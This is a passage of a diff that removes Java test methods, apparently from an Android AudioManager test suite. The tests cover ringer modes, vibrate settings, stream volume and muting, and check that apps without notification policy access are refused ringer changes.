-                    true);
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
-
-            // take away write-notification policy access from the package
-            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
-                    false);
-
-            // playSoundEffect should NOT throw a security exception; all apps have read-access
-            mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
-        } finally {
-            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
-                    true);
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
-                    false);
-        }
-    }
-
-    public void testMusicActive() throws Exception {
-        if (mAudioManager.isMusicActive()) {
-            return;
-        }
-        MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
-        assertNotNull(mp);
-        mp.setAudioStreamType(STREAM_MUSIC);
-        mp.start();
-        assertMusicActive(true);
-        mp.stop();
-        mp.release();
-        assertMusicActive(false);
-    }
-
-    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
-    public void testAccessMode() throws Exception {
-        mAudioManager.setMode(MODE_RINGTONE);
-        assertEquals(MODE_RINGTONE, mAudioManager.getMode());
-        mAudioManager.setMode(MODE_IN_COMMUNICATION);
-        assertEquals(MODE_IN_COMMUNICATION, mAudioManager.getMode());
-        mAudioManager.setMode(MODE_NORMAL);
-        assertEquals(MODE_NORMAL, mAudioManager.getMode());
-    }
-
-    public void testSetSurroundFormatEnabled() throws Exception {
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.WRITE_SETTINGS);
-
-        int audioFormat = AudioFormat.ENCODING_DTS;
-
-        mAudioManager.setSurroundFormatEnabled(audioFormat, true /*enabled*/);
-        assertTrue(mAudioManager.isSurroundFormatEnabled(audioFormat));
-
-        mAudioManager.setSurroundFormatEnabled(audioFormat, false /*enabled*/);
-        assertFalse(mAudioManager.isSurroundFormatEnabled(audioFormat));
-
-        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-    }
-
-    public void testSetEncodedSurroundMode() throws Exception {
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.WRITE_SETTINGS);
-
-        int expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_MANUAL;
-        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
-        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
-
-        expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_NEVER;
-        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
-        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
-
-        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-    }
-
-    @SuppressWarnings("deprecation")
-    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
-    public void testRouting() throws Exception {
-        // setBluetoothA2dpOn is a no-op, and getRouting should always return -1
-        boolean oldA2DP = mAudioManager.isBluetoothA2dpOn();
-        mAudioManager.setBluetoothA2dpOn(true);
-        assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
-        mAudioManager.setBluetoothA2dpOn(false);
-        assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
-
-        assertEquals(-1, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(-1, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(-1, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(-1, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
-
-        mAudioManager.setBluetoothScoOn(true);
-        assertTrueCheckTimeout(mAudioManager, p -> p.isBluetoothScoOn(),
-                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned false");
-
-        mAudioManager.setBluetoothScoOn(false);
-        assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
-                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
-
-        mAudioManager.setSpeakerphoneOn(true);
-        assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
-                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
-
-        mAudioManager.setSpeakerphoneOn(false);
-        assertTrueCheckTimeout(mAudioManager, p -> !p.isSpeakerphoneOn(),
-                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned true");
-    }
-
-    public void testVibrateNotification() throws Exception {
-        if (mUseFixedVolume || !mHasVibrator) {
-            return;
-        }
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        // VIBRATE_SETTING_ON
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        // VIBRATE_SETTING_OFF
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
-        assertEquals(VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        // VIBRATE_SETTING_ONLY_SILENT
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
-
-        // VIBRATE_TYPE_NOTIFICATION
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
-        assertEquals(VIBRATE_SETTING_OFF, mAudioManager
-                .getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-    }
-
-    public void testVibrateRinger() throws Exception {
-        if (mUseFixedVolume || !mHasVibrator) {
-            return;
-        }
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        // VIBRATE_TYPE_RINGER
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        // VIBRATE_SETTING_OFF
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
-        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        // Note: as of Froyo, if VIBRATE_TYPE_RINGER is set to OFF, it will
-        // not vibrate, even in RINGER_MODE_VIBRATE. This allows users to
-        // disable the vibration for incoming calls only.
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        // VIBRATE_SETTING_ONLY_SILENT
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                mAudioManager.getRingerMode());
-        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
-
-        // VIBRATE_TYPE_NOTIFICATION
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
-        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
-        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-    }
-
-    public void testAccessRingMode() throws Exception {
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        // AudioService#setRingerMode() has:
-        // if (isTelevision) return;
-        if (mSkipRingerTests) {
-            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-        } else {
-            assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-        }
-
-        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-        if (mSkipRingerTests) {
-            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-        } else {
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-        }
-    }
-
-    public void testSetRingerModePolicyAccess() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        // Apps without policy access cannot change silent -> normal or silent -> vibrate.
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), false);
-
-        try {
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            fail("Apps without notification policy access cannot change ringer mode");
-        } catch (SecurityException e) {
-        }
-
-        try {
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            fail("Apps without notification policy access cannot change ringer mode");
-        } catch (SecurityException e) {
-        }
-
-        // Apps without policy access cannot change normal -> silent.
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), false);
-
-        try {
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            fail("Apps without notification policy access cannot change ringer mode");
-        } catch (SecurityException e) {
-        }
-        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-
-        if (mHasVibrator) {
-            // Apps without policy access cannot change vibrate -> silent.
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-
-            try {
-                mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-                fail("Apps without notification policy access cannot change ringer mode");
-            } catch (SecurityException e) {
-            }
-
-            // Apps without policy access can change vibrate -> normal and vice versa.
-            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-        }
-    }
-
-    public void testVolume() throws Exception {
-        if (MediaUtils.check(mIsTelevision, "No volume test due to fixed/full vol devices"))
-            return;
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        int volume, volumeDelta;
-        int[] streams = {STREAM_ALARM,
-                STREAM_MUSIC,
-                STREAM_VOICE_CALL,
-                STREAM_RING};
-
-        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        // adjusting volume is asynchronous, wait before other volume checks
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        mAudioManager.adjustSuggestedStreamVolume(
-                ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
-
-        for (int stream : streams) {
-            if (mIsSingleVolume && stream != STREAM_MUSIC) {
-                continue;
-            }
-
-            // set ringer mode to back normal to not interfere with volume tests
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-
-            int maxVolume = mAudioManager.getStreamMaxVolume(stream);
-            int minVolume = mAudioManager.getStreamMinVolume(stream);
-
-            // validate min
-            assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
-            assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
-                    maxVolume),
-                    minVolume < maxVolume);
-
-            final int minNonZeroVolume = Math.max(minVolume, 1);
-            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
-            if (mUseFixedVolume) {
-                assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
-                continue;
-            }
-            assertEquals(String.format("stream=%d", stream),
-                    minNonZeroVolume, mAudioManager.getStreamVolume(stream));
-
-            if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
-                // due to new regulations, music sent over a wired headset may be volume limited
-                // until the user explicitly increases the limit, so we can't rely on being able
-                // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
-                // by increasing the volume until it won't go any higher, then use that volume as
-                // the maximum for the purposes of this test
-                int curvol = 0;
-                int prevvol = 0;
-                do {
-                    prevvol = curvol;
-                    mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
-                    curvol = mAudioManager.getStreamVolume(stream);
-                } while (curvol != prevvol);
-                maxVolume = maxMusicVolume = curvol;
-            }
-            mAudioManager.setStreamVolume(stream, maxVolume, 0);
-            mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
-            assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
-
-            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
-            mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
-            assertStreamVolumeEquals(stream, maxVolume - volumeDelta,
-                    "Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume);
-
-            // volume lower
-            mAudioManager.setStreamVolume(stream, maxVolume, 0);
-            volume = mAudioManager.getStreamVolume(stream);
-            while (volume > minVolume) {
-                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
-                mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
-                assertStreamVolumeEquals(stream,  Math.max(0, volume - volumeDelta),
-                        "Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
-                                + " minVol:" + minVolume + " volDelta:" + volumeDelta);
-                volume = mAudioManager.getStreamVolume(stream);
-            }
-
-            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
-
-            // volume raise
-            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
-            volume = mAudioManager.getStreamVolume(stream);
-            while (volume < maxVolume) {
-                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
-                mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
-                assertStreamVolumeEquals(stream,   Math.min(volume + volumeDelta, maxVolume),
-                        "Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
-                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta);
-                volume = mAudioManager.getStreamVolume(stream);
-            }
-
-            // volume same
-            mAudioManager.setStreamVolume(stream, maxVolume, 0);
-            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
-                    maxVolume, mAudioManager.getStreamVolume(stream));
-
-            mAudioManager.setStreamVolume(stream, maxVolume, 0);
-        }
-
-        if (mUseFixedVolume) {
-            return;
-        }
-
-        // adjust volume
-        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-
-        boolean isMusicPlayingBeforeTest = false;
-        if (mAudioManager.isMusicActive()) {
-            isMusicPlayingBeforeTest = true;
-        }
-
-        MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
-        assertNotNull(mp);
-        mp.setAudioStreamType(STREAM_MUSIC);
-        mp.setLooping(true);
-        mp.start();
-        assertMusicActive(true);
-
-        // adjust volume as ADJUST_SAME
-        mAudioManager.adjustVolume(ADJUST_SAME, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
-
-        // adjust volume as ADJUST_RAISE
-        mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
-        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
-        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
-
-        // adjust volume as ADJUST_LOWER
-        mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
-        maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
-        mAudioManager.adjustVolume(ADJUST_LOWER, 0);
-        assertStreamVolumeEquals(STREAM_MUSIC, Math.max(0, maxMusicVolume - volumeDelta));
-
-        mp.stop();
-        mp.release();
-        if (!isMusicPlayingBeforeTest) {
-            assertMusicActive(false);
-        }
-    }
-
-    public void testAccessibilityVolume() throws Exception {
-        if (mUseFixedVolume) {
-            Log.i("AudioManagerTest", "testAccessibilityVolume() skipped: fixed volume");
-            return;
-        }
-        final int maxA11yVol = mAudioManager.getStreamMaxVolume(STREAM_ACCESSIBILITY);
-        assertTrue("Max a11yVol not strictly positive", maxA11yVol > 0);
-        int originalVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-
-        // changing STREAM_ACCESSIBILITY is subject to permission, shouldn't be able to change it
-        // test setStreamVolume
-        final int testSetVol;
-        if (originalVol != maxA11yVol) {
-            testSetVol = maxA11yVol;
-        } else {
-            testSetVol = maxA11yVol - 1;
-        }
-        mAudioManager.setStreamVolume(STREAM_ACCESSIBILITY, testSetVol, 0);
-        assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
-                "Should not be able to change A11y vol");
-
-        // test adjustStreamVolume
-        //        LOWER
-        if (originalVol > 0) {
-            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_LOWER, 0);
-            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
-                    "Should not be able to change A11y vol");
-        }
-        //        RAISE
-        if (originalVol < maxA11yVol) {
-            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_RAISE, 0);
-            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
-                    "Should not be able to change A11y vol");
-        }
-    }
-
-    public void testSetVoiceCallVolumeToZeroPermission() {
-        // Verify that only apps with MODIFY_PHONE_STATE can set VOICE_CALL_STREAM to 0
-        mAudioManager.setStreamVolume(STREAM_VOICE_CALL, 0, 0);
-        assertTrue("MODIFY_PHONE_STATE is required in order to set voice call volume to 0",
-                    mAudioManager.getStreamVolume(STREAM_VOICE_CALL) != 0);
-    }
-
-    public void testMuteFixedVolume() throws Exception {
-        int[] streams = {
-                STREAM_VOICE_CALL,
-                STREAM_MUSIC,
-                STREAM_RING,
-                STREAM_ALARM,
-                STREAM_NOTIFICATION,
-                STREAM_SYSTEM};
-        if (mUseFixedVolume) {
-            for (int stream : streams) {
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
-                assertFalse("Muting should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(stream));
-
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
-                assertFalse("Toggling mute should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(stream));
-
-                mAudioManager.setStreamMute(stream, true);
-                assertFalse("Muting should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(stream));
-            }
-        }
-    }
-
-    public void testMuteDndAffectedStreams() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        int[] streams = { STREAM_RING };
-        // Mute streams
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), false);
-        // Verify streams cannot be unmuted without policy access.
-        for (int stream : streams) {
-            try {
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-
-            try {
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
-                        0);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-
-            try {
-                mAudioManager.setStreamMute(stream, false);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-        }
-
-        // This ensures we're out of vibrate or silent modes.
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        for (int stream : streams) {
-            // ensure each stream is on and turned up.
-            mAudioManager.setStreamVolume(stream,
-                    mAudioManager.getStreamMaxVolume(stream),
-                    0);
-
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-            try {
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-            try {
-                mAudioManager.adjustStreamVolume(
-                        stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-
-            try {
-                mAudioManager.setStreamMute(stream, true);
-                assertEquals("Apps without Notification policy access can't change ringer mode",
-                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            } catch (SecurityException e) {
-            }
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            testStreamMuting(stream);
-        }
-    }
-
-    public void testMuteDndUnaffectedStreams() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        int[] streams = {
-                STREAM_VOICE_CALL,
-                STREAM_MUSIC,
-                STREAM_ALARM
-        };
-
-        int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
-                System.MUTE_STREAMS_AFFECTED,
-                // same defaults as in AudioService. Should be kept in sync.
-                 (1 << STREAM_MUSIC) |
-                         (1 << STREAM_RING) |
-                         (1 << STREAM_NOTIFICATION) |
-                         (1 << STREAM_SYSTEM) |
-                         (1 << STREAM_VOICE_CALL));
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        // This ensures we're out of vibrate or silent modes.
-        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), false);
-        for (int stream : streams) {
-            // ensure each stream is on and turned up.
-            mAudioManager.setStreamVolume(stream,
-                    mAudioManager.getStreamMaxVolume(stream),
-                    0);
-            if (((1 << stream) & muteAffectedStreams) == 0) {
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
-                assertFalse("Stream " + stream + " should not be affected by mute.",
-                        mAudioManager.isStreamMute(stream));
-                mAudioManager.setStreamMute(stream, true);
-                assertFalse("Stream " + stream + " should not be affected by mute.",
-                        mAudioManager.isStreamMute(stream));
-                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
-                        0);
-                assertFalse("Stream " + stream + " should not be affected by mute.",
-                        mAudioManager.isStreamMute(stream));
-                continue;
-            }
-            testStreamMuting(stream);
-        }
-    }
-
-    private void testStreamMuting(int stream) {
-        // Voice call requires MODIFY_PHONE_STATE, so we should not be able to mute
-        if (stream == STREAM_VOICE_CALL) {
-            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
-            assertFalse("Muting voice call stream (" + stream + ") should require "
-                            + "MODIFY_PHONE_STATE.", mAudioManager.isStreamMute(stream));
-        } else {
-            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
-            assertTrue("Muting stream " + stream + " failed.",
-                    mAudioManager.isStreamMute(stream));
-
